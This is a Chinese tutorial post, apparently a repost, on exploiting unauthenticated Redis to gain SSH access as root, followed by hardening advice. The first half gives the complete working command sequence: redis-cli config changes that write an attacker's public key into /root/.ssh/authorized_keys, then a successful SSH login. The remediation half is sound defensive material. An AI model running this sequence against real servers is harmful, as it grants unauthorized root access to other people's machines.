Redis - - Redis 远程代码执行漏洞

1,利用redis漏洞,远程登录服务器

1.1 登录远程 redis 并写入ssh公钥

[root@test ~]# redis-cli -h 192.168.168.168 -p 6379 -a 123456

# 设置路径等配置(必须有写入权限)
192.168.168.168:6379> config set dir /root/.ssh
OK

# 上传公钥的备份文件名字为authorized_keys
192.168.168.168:6379> config set dbfilename authorized_keys
OK

# 写入 ssh公钥
192.168.168.168:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/TzA47xTTKkk2H9Us0ciPnKRHliJMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr root@test\n\n\n"
OK

# 保存配置
192.168.168.168:6379> save
OK

# 退出
192.168.168.168:6379> exit

1.2 登录远程服务器

[root@test-docker ~]#  ssh [email protected]
The authenticity of host '192.168.168.168 (192.168.168.168)' can't be established.
RSA key fingerprint is SHA256:qiBj+5ipRG6rcY6uAbbeIelJK/huZgWVb4BM855YTZs.
RSA key fingerprint is MD5:84:21:21:f8:7c:5d:71:00:9d:f9:cb:df:4e:63:fe:35.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.168.168' (RSA) to the list of known hosts.
Last login: Fri Dec 14 10:48:58 2018 from 61.50.114.230

1.3 查看公钥信息

[root@VM_0_11_centos ~]# more /root/.ssh/authorized_keys
REDIS0008   redis-ver4.0.10
redis-bits??e)used-mem­Β


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/
JMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr root@test

1.4 远程服务器信息

[root@VM_0_11_centos ~]# cat /etc/redhat-release
CentOS release 6.9 (Final)
[root@VM_0_11_centos ~]# uname -a
Linux VM_0_11_centos 2.6.32-696.el6.x86_64 #1 SMP Tue Mar 21 19:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

1.5 本地服务器信息

[root@test ~]# cat /etc/redhat-release
CentOS Linux release 7.6.1810 (Core)
[root@test-docker ~]# uname -a
Linux test 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

2,漏洞修复避免

2.1 禁止一些高危命令(重启redis才能生效)

  • 修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""
  • 或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3”

2.2 以低权限运行 Redis 服务(重启redis才能生效)

  • 为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis

2.3 为 Redis 添加密码验证(重启redis才能生效)

  • 修改 redis.conf 文件,添加
requirepass mypassword
  • :redis不要用-a参数,明文输入密码,连接后使用auth认证

2.4 禁止外网访问 Redis(重启redis才能生效)

  • 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
  • 在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

2.5 修改默认端口

  • 修改配置文件redis.conf文件
Port 6379
  • 默认端口是6379,可以改变成其他端口(不要冲突就好)

2.6 保证 authorized_keys 文件的安全

  • 为了保证安全,您应该阻止其他用户添加新的公钥。
  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh

2.7 设置防火墙策略  

  • 如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

  • 参考:
    • https://blog.csdn.net/u010472499/article/details/78905701
    • http://www.cnblogs.com/xun0523/p/9804999.html

转载于:https://www.cnblogs.com/xiaoqshuo/p/10119489.html

你可能感兴趣的:(Redis - - Redis 远程代码执行漏洞)